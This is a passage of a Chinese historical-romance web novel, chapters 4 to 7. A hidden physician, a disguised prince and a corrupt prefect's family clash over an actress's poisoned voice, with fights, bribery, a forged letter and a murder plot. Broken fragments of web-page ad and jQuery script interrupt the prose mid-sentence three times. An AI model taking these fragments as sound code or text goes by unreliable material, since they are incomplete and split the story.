顾静娴拍了拍秋霜抓着自己袖间的手，虽胸口起伏，可面上扔摆出一副宁静的神色，安慰道：“他们围成一圈，我又该往何处逃去？放心，有忠叔在，我们定会全身而退，谁也不落下。”
秋霜看着顾静娴护着自己的样子，四行清泪夺眶而出，轻轻道：“姑娘……”
不远处，一架马车悠然停下。
掌缰绳的是位小侍卫，他向车内言道：“公子，那边好像在打劫。”
车内，一身席淡蓝长衫的公子端坐着，仿若修竹。
他放下茶盏，久不出声。
小侍卫问道：“公子，可要前去帮忙？”
车内的人没有过多的动作，只淡淡地“嗯”了一声。
得到指示，那小侍卫拔了刀就往顾静娴所在之地飞奔而去。
见他手腕一番，一把匕首化为一道夜晚的流光，射进其中一人的胸腔。那人惨叫一声，捂着伤口就朝身后倒去。
那小侍卫按剑在手，冷笑道：“以多欺少，以壮欺弱，算何本事！”
为首的壮士见他孤身一人前来，只当又多一个送死的，不以为意道：“我劝你不要多管闲事，小心好汉我把你也给杀了。”
“行好事才为好汉，你们作恶多端，实乃恶汉！”
小侍卫不再多言，他看准时机，猛然冲出，像一只猛虎往那壮汉侧面扑去。他当胸一脚，将那壮汉踢得倒飞出去后，又猛然一个回旋，将左右近四人鞭扫在地。
那壮汉捂着胸口，撑地而起。见这小侍卫功夫了得，也不敢多加招惹，急忙下令撤退，那一众人便一溜烟似的往四处窜去。
小侍卫笑盈盈地走到马车边上，“姑娘，那群恶徒我已替你赶走，不知可否赏我一盏茶吃？”
还未等顾静娴回话，便又传来一男子的声音。
“剑来，休得放肆。”是方才那架马车里的公子。
闻言，顾静娴蓦地一恸。
她手心微湿，心中有一瞬间的慌乱。
莫非……
是他？
4. 故交
清风拂窗而过，帘子被微微扬起。
顾静娴向外看去，只见方才说话那人拎着一盏提灯由远而近，款款而来。
他着一袭淡蓝长衫，身形挺拔如青松。肩膀处虽被细雨微微浸湿，却不影响其气韵高洁。
因夜深沉，不曾看清其真容。
被唤作剑来的小侍卫走近方才被他所伤之人，从那人胸口处拔出匕首后，在其身上擦拭一番，复又仔细搜查起来。
须臾，寻得一块刻着“惊鸿堂”三个大字的腰牌。
他像是发现金银宝藏般，喜滋滋地走到自家公子身侧，“公子，是惊鸿堂的人，功夫不错啊，想来台上做的也好看，赶明儿你可得带我去瞧瞧！”
惊鸿堂？
顾静娴的心沉了一下。
自己才给程绾青医治一次，惊鸿堂的人便如此迅速追杀过来。看来，有人暗伏在程绾青身边，盯着她们今夜的一举一动。
“多谢两位公子相救，”顾静娴道，“夜已深了，小女子还要赶路。”
说罢，顾静娴拿起车内的油伞，通过窗子递了出去，又道：“雨虽不大，可若寒气入体，染了风寒便麻烦了。小女子这里无其他可以言谢，唯有把伞，便做答谢之礼，还望两位公子不要嫌弃。”
剑来倒也不客气，忙上前接过伞，“多谢姑娘！”
伞柄脱离顾静娴的手，却无意间再次掀起窗帘，使得顾静娴与那位公子四目相对。
这回，倒瞧见了那位公子的面容。
只见他发髻略略有些松散，几缕发丝耷拉着，豆大的雨珠顺其而落。又见他眉目温润，似温了一潭清泉，鼻若悬梁，唇若涂丹。烛光闪烁间，衬得他肤若白雪，偏又不带丝毫女气，就好似谪仙下凡一般。
果真是他——
当今的燕王殿下，大内嫡出的皇长子，朱华庭。
顾静娴未曾戴帷帽，蓦然对视，生怕暴露自己的身份，敛了敛目光，忙吩咐起忠叔，“时候不早了，速速回程吧。”
忠叔知意，重新执掌缰绳，御马而去。
剑来则继续站在原地，他撑起顾静娴给的那把伞，默默看着马车离远，直到消失在夜色之中。
他道：“公子，这伞有股香气。”
身后无人应答。
“公子？”
剑来疑惑地又唤了一声，却还是未闻回应，扭头却见自家公子早已往回走去。
他屁颠屁颠地跑向朱华庭，随后将一大半的伞往朱华庭身上靠去，“公子你闻，是不是有股香味。”
朱华庭也闻见了，却低沉道：“这伞，你打算如何还回去？”
闻言，剑来呆站在原地。
还回去？
怎么还？
他都不知那姑娘名姓！
剑来懊恼地拍了拍大腿，方才他就该问的！
·
马车又行驶了一段路程，秋霜窝在座位上打起盹，脸上还挂着几颗泪珠。
顾静娴将自己的斗篷披在秋霜的身上后静静地看着她，一时间，神游天外。
那是她和朱华庭的初遇——
顾静娴幼时被养在大内之中时，初入那红墙如山高的皇宫，她无意间跟丢了嬷嬷，迷了路。
困顿之际，是朱华庭在前头给她引路，一路小心护送才将她带回怡清殿中。
在此之后，即便顾静娴已经熟络宫中的每一条路，可她每每从太医院出来时，总能碰巧遇见朱华庭。
他或是偶然经过，或是来太医院求医问药，又或者表明就是刻意在等她。
朱华庭同往常一样在前头引路，直到走到怡清殿附近，顾静娴方要和他道谢时，他就领着剑来离去。
就这样在宫内住了五年，及笄之礼的前三日，顾静娴出了宫，至此二人足足三年未曾有过照面。
直到，顾家出事的那一晚。
宫宴之上，顾静娴忍不住多饮了几杯御赐的清酒，只觉身上浮躁，便想着去御花园散散心。
御花园中有一座假山，在宫中居住的那段日子，顾静娴常和二公主来此闲逛，彼此间聊聊女儿家闺中趣事。
那一夜，碰巧朱华庭也在。
“你还是一如往常，未曾变过。”这是朱华庭这八年间同她说得第一句话。
他的音色清润纯正，像是清泉入口，水润深沁。
“原来殿下也不是哑巴。”这也是顾静娴同他说得第一句话，现在想想，到底是扰了那夜美景，不合时宜。
朱华庭倒也不气，他温柔地笑了一声，俊美的脸上噙着一抹不甚明显的喜悦之情。
他又道：“宫中路奇，夜间昏暗，姑娘小心别迷了路。”
顾静娴回道：“多谢殿下关心，臣女已记清宫中之路，断不会再迷路。今日宫宴，臣女出来良久，怕父亲母亲记挂，先行告退。”
朱华庭还在想该如何搭话，却见顾静娴已转身下山，便再不知能说些什么，思虑间，轻咳了两声。
那下假山的身影顿了顿，又折返了回来。
顾静娴福身行礼后道：“适才臣女听殿下咳了两声，臣女不才，略通点医术，若殿下不嫌，臣女愿替殿下把脉，以报当年引路之恩。”
朱华庭心中大喜，他从不善表达，顾静娴能记着这事，已足够他今夜兴奋难眠。
“早听闻顾姑娘医术高明，常给宫中娘娘诊脉，朱某又怎会嫌弃。”
朱华庭说完，寻一处不高不低的山石坐下，顾静娴取出帕子盖在他的手腕上，随后玉指轻扬，落在朱华庭的脉上。
这一脉，倒叫顾静娴心颤。
真是好毒的心思，好细的心机！
朱华庭年岁二十，身上却布满了暗毒。
所幸毒未入髓，还有得治。
因不知背后下毒是何人，自己的一举一动又牵扯着顾家，顾静娴未曾明言，只能说道：“听闻燕王殿下喜爱饮茶，近日父亲大人新得一些江南来的茶饼，殿下日后若是得闲，可来府中坐坐。”
朱华庭心中又暗喜起来，面上却一如常态，“姑娘盛情，我必定前来。”
可是，侍女云琴的一句话，到底是绝了这场盛情的邀约。
——“姑娘，顾家出事了！”
……
淮州离京遥远，顾静娴实是想不明白，朱华庭为何会来此。
况且他的身子……
但愿余毒已解，她心道。
“姑娘，今夜……当初是我夸口了，到底是没护住姑娘。”忠叔的声音从外头传
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
来，言语间满是愧疚之情。
顾静娴被忠叔的话音拉回思绪，宽慰道：“忠叔何必自责，今夜若非你持剑抵挡，怕是那两位公子赶来时，已非救命，而是收尸。”
忠叔心中愧疚之意却仍未减少，便想着将功抵过，“姑娘之前交付我的事情，我已办好。”
顾静娴问道：“买了几间铺子？”
忠叔回道：“淮州和登州各四间铺子，余下还有二十六两银子。”
“这便很好，这些银子你且留下，作为体己。”顾静娴夸赞道，“回头带我去瞧瞧，这几间铺子对我而言，极为重要。忠叔，你帮了我一个大忙。”
忠叔抬手挠了挠头，憨笑了几声。
“今日帮程娘子治嗓一事看来已经暴露，有没有稍远些的铺子？”
忠叔回答：“在通善坊，离软香阁约三刻钟的路程。”
顾静娴优思道：“忠叔，劳烦明日再替我跑一趟软香阁，知会双儿姐姐一声，三日后我替程娘子治嗓一事就放在通善坊，由你亲自接送。”
“是。”
·
那伙贼人方回了惊鸿堂，为首的壮汉便来到一间屋子前，大声道：“纪姑娘，出大事了！”
久不闻回音，壮汉方又想开口言道，却听见屋内传出一声男子惬意的喘息声。
随后，一女子的询问声从屋内飘出，“何事？”
开口的正是惊鸿堂如今的班主，纪紫怡。
——也是程绾青最得意的关门弟子。
壮汉道：“柳烟巷看守的来报，不知从何处来了位小娘子，今夜替那程绾青治嗓，就只一次，嗓音便已恢复了七八成。”
原本依偎在男子怀里的纪紫怡猛然坐起身来，“此言当真？”
“千真万确。”
纪紫怡清晰地感觉到自己左胸身处出现一阵慌乱，她用手轻轻按住胸口，试图平复不安的心情，“在何处医治？”
“也在柳烟巷，一间叫软香阁的铺子。”
床上的男子伸手将纪紫怡又揽回自己的怀中，“知道了，退下吧。”
他安慰起纪紫怡：“有我在，你怕些什么？”
“若我光彩不在，云炳公子可还会喜欢妾身。”纪紫怡吃了一颗定心丸，凑在男子耳侧，轻轻吹了吹。
姜云炳餍足地眯起眼睛，他取了一缕纪紫怡的发丝，放至鼻前，闻到熟悉的味道，喉咙中溢出一声满足的低吟。
他拍了拍纪紫怡的后背，深吸一口气道：“我父亲可是知府大人，掌管整个淮州。什么小女子，什么程绾青，不过就是一只能够被轻易捏死的蚂蚁。而你，我的美娇娘，你只管好好地伺候我，把我伺候得舒舒服服的，便够了。”
纪紫怡抬头，烛光闪烁下，对上姜云炳的眸子。
她长睫轻颤，缱绻道：“那姜公子打算如何帮我？”
看着纪紫怡这勾魂的模样，姜云炳戏谑地问：“你想如何？”
“程绾青已坏了嗓子，她最怕自己荣光消失，让她活在我这徒弟的光辉之下，比杀了她还要痛苦。其余的，杀之，永绝后患。”
姜云炳用手勾了勾纪紫怡的下巴，桀然一笑，轻佻道：“那就要看，今夜你能不能将小爷我伺候得心满意足了。”
5. 闹事
细雨绵绵下了一夜，整座淮州城好像刚从水里打捞起来，洗净了尘埃。
柳烟巷中人声鼎沸，车马络绎不绝。街道两侧摊位林立，叫卖声此起彼伏，甚是喧闹。
这几日，柳双儿和芳菲为了对顾静娴交付的那张单子，便比往日晚了半个时辰才开软香阁的门。
有过路人道：“柳娘子这么晚才开门啊。”
柳双儿一边理着货柜，一边对外道：“今早犯了春困，贪床便起晚了些。”
又转头对着芳菲道：“你按着今早理的数，再去周边药铺采买些。姑娘既吩咐了，可别耽误。”
芳菲揉了揉眼，困意正浓，“双儿姐放心，我去去就回。”
柳双儿刚理好货不久，板凳都未曾坐热，便见一群抄着家伙的男子跨步而进，各个趾高气昂。
他们在店中巡视一番，除了柳双儿未曾见着第二个人，便问道：“这店里除了你，可还有旁人？”
说话的，是姜府的管家，姜五德。
柳双儿心中惴惴不安，佯装镇定道：“不知各位大爷可是要给自家娘子买胭脂？”
姜五德抄起木棍就砸向一旁的架子，霎时间脂粉头油落了一地。
他恶狠狠地盯着柳双儿，怒气冲冲道：“我问你话呢！”
见此情形，柳双儿心跳如鼓，仿佛随时都会跳出胸腔，“此店就我一人。”
姜五德冷哼一声，“我不如明了的问你，你们那会行医诊脉的小娘子，到底藏在何处？”
既是自家姑娘，柳双儿更是不会透露。况且，她确确实实也不知道顾静娴的行踪。
柳双儿道：“大爷找错人了吧，我这是卖女子敷面之物，不是什么药堂，何来会行医诊脉的小娘子？”
“好！很好！”姜五德环顾了四周，不怀好意道，“敬酒不吃吃罚酒，你们惹了不该惹的人，一日不交出那丫头，我就让你们一日不得安宁。弟兄们，给我砸！”
软香阁外，站满了来瞧热闹的人。店内，十数个壮汉一通乱砸，不过须臾，店内竟无一处完好之地。
这时，碰巧芳菲领着药袋子回来。她看着店内的情形，手中的药袋落了一地。
姜五德听见响动，扭头向身后看去。
落了一地的药袋……和小娘子？
柳双儿大喊：“芳菲，快逃！”
芳菲脸色发青，通身仿佛被一股冰凉的气息笼罩。她下意识的后退了几步，刚转身要逃，却被两个大汉死死抓住双臂，动弹不得。
姜五德一声令下，“带走！”
“放肆——”
那伙贼人还未出软香阁，只见一年岁不大的男子手持一把长剑，环臂胸前，挡了他们的去路。
是剑来。
姜五德在姜家做了多年的管事，养了一身的臭毛病，见来人不过是个黄口小儿，仗着自己人多势众，颐指气使地走近剑来。
“哪来多管闲事的小儿，敢来管你爷爷的事！”姜五德说罢，讥笑起来。
还未等姜五德笑完，剑来便朝着他的嘴猛击一拳，“好臭的嘴，找打！”
又未等姜五德从这一拳中反应过来，剑来便抓着他的衣袖转了几圈，等姜五德被转得晕头转向，剑来押着他的手臂，将其踹跪在地。
剑来的手稍一用力，姜五德便吃痛得直求饶，“好汉松手，好汉松手！”
“叫爷爷！”
“……”
见姜五德不情愿，剑来又将姜五德的手用力一抬。
“爷爷！爷爷！我的好爷爷，我的亲爷爷……你且饶了我吧……”姜五德满脸痛苦，眼冒泪光，再顾不着脸面。
其余几人见姜五德如此狼狈，也不敢轻举妄动，拿着手中的家伙，做抵御状。
“胡闹。”朱华庭不疾不徐迈着步子，折扇轻摇，一副气定神闲的模样。
他看了看跪在地上的姜五德，就知剑来已经拿下了为首的头，便从袖间拿出一令牌，对着其余数人道：“回去告诉你们家的主子，想要人，来知府衙门找我。”
其余人看着姜五德的境遇，自也怕惹祸上身，匆忙离去。
门外看热闹的人群中，不免有人发问：“这是何许人也，连姜家都敢惹？”
“看这衣着打扮，像是哪家豪绅子弟。”
“还真是初生牛犊不怕虎，遥想当年周家……”
有人打断道：“好端端的说这些作甚，你也活腻歪了，急着想去阎罗殿看看阎王爷到底长啥样？”
闹事结束，众人也便如烟而散。须臾，原本哄闹的大街又恢复往日的平静。
芳菲窝在柳双儿的怀中，忍不住的哭泣。
朱华庭走到二人身前，身姿挺拔，风姿绰约：“二位姑娘也随本官走一趟吧。”
柳双儿用审视的目光将他上下打量了一番，眼神中露着难以掩饰的嫌恶之色，“走一趟？为了你们官官相护的戏本子，做配吗？”
朱华庭一愣，转头看了一眼跪在地上的姜五德，嘴角扯出笑，“如此，姑娘更得跟我走一趟了。”
·
忠叔赶来时，软香阁的大门就已被官府贴了封条。
他便到旁边的铺子找人询问，那店家虽怕惹祸上身，但仍旧不情不愿的将今早发生的事情大致地告诉了忠叔。
一番话，听得忠叔耳鸣如雷。
他又来至程绾青的楼前，轻扣了几声房门。
里面久不闻回应，便有位大娘提醒道：“你找程姑娘吗？别等了，我看她收拾了一包东西，出门去了。”
“多谢。”
忠叔道了声谢，又抬头看了看二楼，沉思片刻，便忙赶回庄子。
车还未停稳，忠叔便跳下车去，忙慌间在地上翻滚了几圈，却顾不得疼痛，往院子中赶去。
“姑娘，大事不好了！”忠叔跑进顾静娴房中时，未曾顾及门槛，又被绊了个踉跄。
顾静娴坐在软榻上看着医书，见忠叔慌慌张张，心中也隐隐不安起来：“发生何事了？”
“软香阁——”忠叔上气不接下气，“软香阁被人砸了！芳菲姑娘和柳双儿都被人给劫走了！”
闻言，顾静娴陡然从座位上站起，她的全身紧绷，唇瓣不自觉地颤动了几下。
“发生何事了？”
忠叔把方才打听来的话，一五一十地说于顾静娴听。
听罢，顾静娴气性翻涌而上：“好个姜五德，好个姜家！”
无数个念头在她脑中乱撞，她静站思考，从方才忠叔的话中找到出口：“忠叔，你方才说，带走双儿姐和芳菲的是何人？”
“听那店家说，是一位身着打扮极为荣华富贵的公子，还有一位带刀的小侍卫。对了，那公子有块令牌，话里话外，倒像是官府的人。”
顾静娴捂着胸口，舒了口气：“官府办事讲究章程，只要不在姜家人手里，他们便不会胡乱行事。”
况且，这个搭配……
倒叫顾静娴没法不联想起昨日夜里那二位。
忠叔问：“那咱们接下来该如何
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
？”
顾静娴蹙了蹙眉，“如今，就只能看程娘子愿不愿意配合咱们。”
“可是程娘子如今不知所踪。”
听罢，顾静娴又坐回桌前，取出一张信纸，提笔蘸墨。
片刻，顾静娴将写好的信纸妥善地放入信封之中，再递于忠叔，又吩咐了几句。
忠叔听完，顿时喜笑颜开起来。
·
要说这淮州最热闹的，便是宣平坊边上的东市。
从晨曦微露，到乌金西坠，此处熙熙攘攘，人声鼎沸，从不停息。
近酉时正刻时，长街早已缚上夜灯，千盏万盏闪烁照耀，便似银河倾倒，满地生辉。
花天锦地，繁华奢靡，来到此处仿佛一瞬间置身不夜之城。
东市西北角，张家茶舍内正聊得火热。
“什么？”有人发出一声惊叹，“你是说，程娘子那嗓子，是被知府家的小公子给毒坏的？”
一位身着青袍的男子回道：“正是！今天柳烟巷发生的事情，大家都有所耳闻了吧？”
人群中议论起来，青袍男子便更大声地说道：“去砸店的是何许人啊，那可是姜府的管事！你们可知，他为何要去砸店呢？”
有人不耐烦道：“要说就说，卖什么关子！”
青袍男子忙劝道：“别急啊，我这就说——”
他故意拉长声音，清了清嗓子：“前几日，不知从何处来了一位娘子，言辞凿凿地和程娘子说，她能帮其医好嗓子。”
“我听闻程娘子找了众多名医都未曾治好，什么姑娘有这么神？”
“自然有！你且听我说完——”那青袍男子越讲越激烈，“正是昨日夜里，那小姑娘治好了程娘子的嗓子，所以今日姜家的人才忙慌地出来找人，怕程姑娘的嗓子被治好，再一次名动淮州。如此，为了护住纪紫怡名声，不就得杀人灭口，永绝后患嘛！”
接下来，这青袍男子又讲述了姜家是如何毒坏了程绾青的嗓子，程绾青又是如何从姜家手下逃生等几件事情，说得传呼其神，仿佛自己亲自在场瞧见般。
其余听客闻言，无不心头愤恨，怒骂姜家不是人。
忠叔则坐在不远处的一张桌子上，一边喝茶，一边听故事，还一边忍不住地偷笑。
等那青袍男子讲完，忠叔和他一前一后进了一间屋子。
“怎么样，小爷我讲得不赖吧。”青袍男子得意洋洋地看着忠叔。
“好！”忠叔从腰间拿出一锭银子，笑着道：“尤其最后那些事，你加得特别的好！”
青袍男子接过银子，拍拍胸脯道：“也不看看我是谁，说书这事，我要是在淮州称第二，没人敢称第一！”
至此，自家姑娘交代的事情，便妥善地完成了一桩。
忠叔又策马来到升平坊，几番打听下，寻到了王虎家。
忠叔站在王家门前，轻扣了门。
里头应了一声，不多时，王虎媳妇解了门闩，露了半个身子。
忠叔从袖间拿出顾静娴准备的书信，故意大声道：“你娘家派我送来的信！”
随后轻轻补了一句：“是我家娘子交给程娘子的。”
王虎媳妇知意，领了信，应和忠叔的话，“多谢您替我娘家跑一趟，可要进内喝杯茶？”
“夜深了，便不坐了。”
等门闩重新安上，王虎媳妇忙奔进屋内，将信交于程绾青。
程绾青看了信，款款道：“这位殷娘子，当初到底是我小瞧了她。”
6. 浑水
翌日晨时，姜家院中。
胡氏焦急地在院中游走，步子越走越快。
今早她还在梳洗时，身边服侍的方妈妈匆匆进了闺房，同她说姜云炳昨夜里被抓了。
宝贝儿子被抓，于胡氏而言，那就是塌天的大事。
少倾，过了垂花门，胡氏便大步跨进前院正厅，徐徐走近正坐的姜松。
胡氏那如秋水般的眼眸泛起了涟漪，委屈地看着姜松，娇嗔道：“云炳都被抓了，你还有闲心在这喝茶看书！”
姜松不疾不徐地放下手中的茶盏，缓缓道：“慌什么，无半分知府夫人的样子。”
胡氏往旁边的椅子上一坐，拿帕子拂了拂面上的清泪，抽泣道：“我是没有知府夫人的样子，可我是个母亲！而老爷你呢？身为知府大人，多么荣耀啊，到头来，不也护不住自家儿子！”
见胡氏端的一个我见犹怜的模样，姜松劝慰道：“夫人放宽心便是，为夫自有计策。”
胡氏问：“有何良策？你身为知府，亲自去衙门要人，他们能敢不放？”
“愚见。”姜松道：“我还没摸清京中来的那位底细，倘若一步踏错，我这顶乌纱帽，能不能坐稳可就不好说了。”
官场之事，胡氏一深闺妇人自然不懂，撂了一句“儿在我在，儿亡我亡”的话便赌气回了自己的院子。
一盏茶后，姜松唤了府内副管事的，轻声吩咐了几句。
那管事的得了令，便急匆匆地出了府门。
惊鸿堂内，院墙红绸高悬，张灯结彩。雕花大门大张，迎客如云，好生热闹。
纪紫怡虽承了程绾青头牌的名号，可她唱来唱去到底唱得还是程绾青教给她的东西。便自掏腰包，请了淮州其他戏楼的头牌给自己做配，编了一台新戏。
开场前一个时辰，惊鸿堂内早已座无虚席。
戏未开唱，角未登场，众多看官坐在台下闲来无聊，便谈论起淮州近来发生的事。
不知是谁先起了个头：“那姜家管事的被抓，真是大快人心啊。这几年，他仗着背后有知府替他撑腰，没少做恶事！”
有人闻言，双眼一亮道：“果真？这老东西早该被抓了！”
话音刚落，就见门口处跑进一男子，他气喘吁吁，精神亢奋道：“新消息，新消息！”
同桌的给他递了碗茶水：“做什么慌慌张张的，媳妇跟人跑了？”
那人大口喝茶，也不等喘过气来，就道：“我方才路过程娘子家，看见她家被几人砸得稀烂。所幸程娘子不在，不然，生死难料啊！”
听此言，有人不解：“你们说，这程娘子到底惹着谁了，如此揪着她不放？”
起头男子接腔：“自是和姜家脱不了干系！我听闻，当初是姜家少爷为了捧现在这位纪娘子，才把程娘子挤出了惊鸿堂。如今，眼见程娘子的嗓子要好了，自然就坐不住了。”
群众中有疑惑声：“可那姜家公子，不是已被官府抓走了。”
“果真？那知府大人的脸面，以后还往哪搁置啊？”
说罢，大伙齐笑了起来。
坐在另一桌的一位玄衣男子听他们所言，饶有兴致地起身，同那些人坐到一起。
他道：“非也，非也。”
玄衣男子晃了晃脑袋，慢悠悠道：“姜家公子被抓是真，可这被抓的原因，却不是你们所言。”
“那是为何？”
玄衣男子又道：“你们要知道，姜家公子顽劣不是一天两天的事，今早被抓，那是因为知府大人与那位大人明言，让其帮着管教管教自家儿子。”
有人不信：“说得跟真的一样，好像你亲耳所闻一般。”
玄衣男子没有好气道：“你若不信，亲自去衙门问问。”
见他言辞凿凿，那人不再说话。
传程娘子家被砸的那位男子问：“那伙是什么人，强盗吗？”
玄衣男子大笑一声：“我们淮州虽不算富饶，可在知府大人的管辖下，算得上安稳。况且，府衙新来了一位管事的，这位来头可不小，哪来的强盗敢如此嚣张。要说……程娘子的仇家，这台上不就有一位吗？”
说罢，楼中锣鼓点四起，纪紫怡着一身新行头从出将门踏着圆场步子款款而出，一个亮相，惹得台下叫好连连。
待戏过半场，玄衣男子叹了口气，他道：“美则美矣，可这一招一式同那程娘子相比，到底还欠些火候。瞧这‘犀牛望月’一式，便和那程娘子差了十万八千里！”
说到后面，他故意加大了声音。
这席话到底还是传进了纪紫怡的耳中，她心中愤愤，一个不留神间，马鞭脱手而出。
“嗵——”
原先的叫好声，霎时间，成了满堂倒彩。
玄衣男子又道：“瞧瞧，若是程娘子的嗓子当真好了，哪还有这纪紫怡的容身之地啊！”
纪紫怡眉头紧紧皱起，双眼圆睁，鼻孔一张一缩，似在压抑心中的怒火。
玄衣男子还道：“瞧这扮相，也是不如程娘子啊！”
接下来，凡是纪紫怡登场开唱，这玄衣男子总拿其和程绾青作比，在他的口中，纪紫怡的一切，都比不过程绾青。
直至最后一幕，他也仍未停下那张咄咄逼人的嘴。气得纪紫怡常常走神，在最后一个屁股座子时，不慎崴了脚。
集齐头牌为自己做配，没成想最后，倒惹了个天大的笑话。
后台内，纪紫怡闭眼养神，胸口起伏明显。
那揉脚的师傅稍一用力，纪紫怡的腿就像是被重锤猛击，痛得深入骨髓，难以忍受。
她终究是咽不下今日这口恶气，拿起身侧桌边的点翠行头便往地上砸去。
“程绾青，又是程绾青！”
她几经想摆脱这个名字，却常常失败。
到头来，不论她唱得再好，终究还是逃不过“程绾青徒弟”这个名号。
盯着那碎了一地的行头，纪紫怡恶狠狠道：“给我找，掘地三尺也要把程绾青找出来！”
一行色匆匆之人大步行进后台，走至纪紫怡身侧，附耳轻语。
“姜家的？”纪紫怡狐疑道。
“说有要事商量，姑娘可怠慢不得。”
纪紫怡闭眼思量，半晌才缓缓起身。
她被引至三楼，开门进去，姜家副管事已在此等候多时。
“纪姑娘今日这出戏，唱得不尽人意啊。”姜副管事道。
纪紫怡闻言，面露不悦，在姜副管事对面坐下，语气冷冷道：“你特地叫人把我引上来，就为了说这些？”
姜副管事狞笑道：“自然不是。我是来助姑娘，解心头大患的。”
纪紫怡来了兴致：“如何解？”
姜副管事正色道：“你那师父程氏如今不安分得很，四处散播谣言，毁我们姜家的名声。纪姑娘既也受其烦，不如咱们联手，做了她。”
一股虚无之感在纪紫怡身上弥漫开来：“你叫我去杀人？”
“只要她死，我姜家名声可保，纪姑娘前程亦可保。两全其美，何乐而不为？”
见纪紫怡久不出声，姜副管事戏谑道：“或意外，或自尽，只要她死。纪姑娘要知道，死人是不会开口说话的，官府查起来不都还是我家老爷一句话的事情吗？我们老爷说了，纪姑娘这事只要办成了，他许你所想。”
“他答应我入府给炳公子做妾？”
姜副管事不再多言，起身离去。行至门口时，他又顿了顿身子。
他道：“纪姑娘只管大胆行事，事成之后，迎你入姜家。”
·
小雨忽至，几只飞鸟四处躲藏，却不知从何处飞来一石子，登时，一只信鸽负伤落地。
'');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
>剑来上前查看，见其腿上绑着一小竹筒，将其中藏匿之信取出，呈递给自己的主子。
剑来捧着鸽子，一人一鸟四目相对。脑中忽地闪过一个想法，他笑着看向朱华庭，憨憨道：“公子，这鸽子肥的很，煲汤一定油水十足！”
那鸽子像是能听懂人话般，朝着剑来的左脸啄去，随后发出“咕咕”两声，似生气了。
剑来揉了揉脸，没好气地对着鸽子说道：“不喜欢煲汤，那改油煎！”
“来者不善，非侯爵之子，乃大内皇长子。”
另一边，朱华庭一字一句地将信中内容读出，冷冷一笑道：“看来这位淮州知府，平日里常和京中联系。”
他以淮阴侯府世子的名义来此，还未上任，便有人急忙忙地要知会姜松他的真实身份。
“那咋办？”剑来捂着鸽子的嘴，看向那张纸。
朱华庭取了相同的纸墨，模仿信上之字，又重新写了一张。
——来者，京中淮阴侯之子，陈承。
将信纸交于剑来重新装好后，剑来把鸽子放到嘴边，轻轻道：“下次别再让我抓到你，不然，我当真煲了你！”
看着那信鸽飞远，朱华庭问道：“知府家的小公子可抓着了？”
剑来拍了拍手：“早抓着了，这人空有一副皮囊罢了，好抓。”
·
绵绵雨水下得无穷无尽，窗外的景色被交织成幕的雨水遮掩，变得朦朦胧胧。
檐角落着雨珠，像一方晶莹的珠帘。
顾静娴坐在屋内，边闻外头落雨的窸窣声，边看着医书。
直到眼角有酸涩感，她这才将书放下，揉眼问道：“忠叔还未回吗？”
刘妈妈朝窗外看去，院门处，只一星灯火，轻轻摇曳，如静水微澜。
“他身强力壮的，姑娘放宽心便是。”刘妈妈宽慰道。
须臾，只见秋霜捧着一叠纸墨小跑进来。
秋霜站住脚，喜盈盈地看着顾静娴，道：“姑娘，我这几日总觉得咱们这院子少些什么，今日倒是想着了。”她边说，边走到顾静娴身侧。
看着秋霜捧着的这些笔墨，顾静娴不明其意，问道：“缺些什么？”
秋霜研起墨，解释道：“姑娘在姜家时，虽住的院子破旧，但也有个好听的名字。如今，我们好不容易住进了这么美的庄子，若没名字，岂非辜负了这里的美意。”
刘妈妈笑道：“不曾想，咱们的小秋霜也有满腹墨水。妈妈问你，你可有想好的名字了？”
秋霜脸颊泛起一阵红晕，不自觉地红了脸：“刘妈妈就别打趣我了，这种事，自然得姑娘来。”
顾静娴觉得秋霜说得对，便拿起笔思量起来。
少倾，才拿定了主意，在纸上写下三个字——
云烟榭。
顾静娴这笔字，矫若惊龙，风神蕰藉处有抽刀断水之势。
刘妈妈道：“有云有烟，颇有隐世之意。”
顾静娴又仔细端详了一会，笑着说：“等解决了手头的事，我们三人，再带上忠叔，一道归隐。”
秋霜久久盯着这三个字，却出了神。
“秋霜？”顾静娴唤道。
秋霜眼眸微颤，傻笑道：“好呀，到时候秋霜日日做姑娘爱吃的桃花饼。”
说话间就收了桌上的笔墨：“等明日我去登州，找最好的木匠刻字！”
正巧这时，忠叔信步进来。
顾静娴忙递上一壶姜茶，“虽已入春，但也得仔细着别着了凉，伤了身子。”
忠叔接过姜茶，囫囵咽下，“小姐，您交代的事，我一件不落都办了。”
“听故事的人，都何种反应？”
“各个义愤填膺，怒骂姜家不是东西。”
顾静娴往窗外看去，不慌不忙道：“眼下就比谁更能坐得住。”
7. 计成
淮州城这场雨，连下了三天未止。
前两日无非只是微雨，到了第三日雨势渐大，乌云压城。
“公子，知府大人求见。”剑来跑进衙门三堂。
朱华庭放下卷宗，缓缓开口：“儿子被囚两日，他倒是沉得住气。”
话音刚落不久，姜松便不紧不慢地进了堂屋。
见了朱华庭，姜松忙摆出卑躬屈膝的样子，“大人来淮数日，下官今日才来拜见，还望求大人不要怪罪。”
朱华庭从椅子上缓缓起身，走近姜松身侧言道：“身为一州知府，又是百姓的父母官，姜大人自是日理万机，本官又怎敢怪罪。”
“大人抬举下官了。”
朱华庭扶其起身，自个回了位置坐下。
良久后，见姜松还站在原地，朱华庭道：“不知大人今日来此，是有什么要事吩咐？”
“岂敢岂敢。”
姜松方说完话，门口就走进来两个仆从，两人各自捧着一个木匣子。
姜松殷勤地走到桌前，两人目光交汇，他轻笑一声，语气变得谄媚起来，“听闻陈大人喜好墨宝，正巧下官前些日寻得一方好墨，特来献上。”
其中一个仆从走上前来，姜松打开匣子，只见一块乌黑透亮的墨静置其中。
朱华庭愣了一愣，此人居然这么快就查到陈承喜好。
他拿起墨宝，放至鼻前一闻，一阵檀香闯入鼻间，“果真是一方好墨。”
姜松喜悦之情溢于言表，忙招呼另一仆从上前打开匣子，又道：“有此好墨，自得给大人配上等的镇纸。下官家中有一祖传之物，用黄龙玉造刻，通身呈一只貔貅状，下官祝陈大人仕途顺遂，步步高升。”
朱华庭一双阴沉的眼睛，冷冷地逼视着对方。半晌，他抬手揉了揉自己的鼻梁骨，幽幽道：“姜大人有心了。”
他朝剑来看去，示意收下。
剑来心道这还是不是自家公子，疑惑间上前收了两个匣子。
这两匣子比剑来预估的要重些，他身子微微一沉。
